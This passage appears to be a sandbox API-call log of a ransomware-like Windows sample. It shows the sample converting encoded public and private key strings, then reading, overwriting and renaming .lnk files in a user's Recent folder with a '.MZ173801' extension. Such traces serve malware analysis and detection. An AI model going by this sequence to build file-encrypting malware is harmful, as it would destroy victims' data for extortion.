lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.323] GetCurrentThreadId () returned 0xab4 [0151.323] GetCurrentThreadId () returned 0xab4 [0151.323] GetCurrentThreadId () returned 0xab4 [0151.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pictures.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.323] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.323] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.324] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2f1 [0151.324] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.324] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2f1, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2f1, lpOverlapped=0x0) returned 1 [0151.324] CloseHandle (hObject=0x280) returned 1 [0151.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pictures.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.325] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2f1, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2f1, lpOverlapped=0x0) returned 1 [0151.326] CloseHandle (hObject=0x280) returned 1 [0151.328] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pictures.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pictures.lnk.mz173801")) returned 1 [0151.329] GetCurrentThreadId () returned 0xab4 [0151.329] GetCurrentThreadId () returned 0xab4 [0151.329] GetCurrentThreadId () returned 0xab4 [0151.329] GetCurrentThreadId () returned 0xab4 [0151.329] GetCurrentThreadId () returned 0xab4 [0151.329] GetCurrentThreadId () returned 0xab4 [0151.329] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49623460, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x49623460, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x49623460, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="pRvInr44zIMLaGG9ke.lnk", cAlternateFileName="PRVINR~1.LNK")) returned 1 [0151.329] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.329] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.329] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pRvInr44zIMLaGG9ke.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\prvinr44zimlagg9ke.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49623460, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x49623460, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x49623460, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4ff)) returned 1 [0151.330] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pRvInr44zIMLaGG9ke.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\prvinr44zimlagg9ke.lnk")) returned 0x20 [0151.330] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pRvInr44zIMLaGG9ke.lnk", dwFileAttributes=0x80) returned 1 [0151.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.334] GetCurrentThreadId () returned 0xab4 [0151.334] GetCurrentThreadId () returned 0xab4 [0151.334] GetCurrentThreadId () returned 0xab4 [0151.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.335] GetCurrentThreadId () returned 0xab4 [0151.335] GetCurrentThreadId () returned 0xab4 [0151.335] GetCurrentThreadId () returned 0xab4 [0151.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pRvInr44zIMLaGG9ke.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\prvinr44zimlagg9ke.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.335] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.335] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 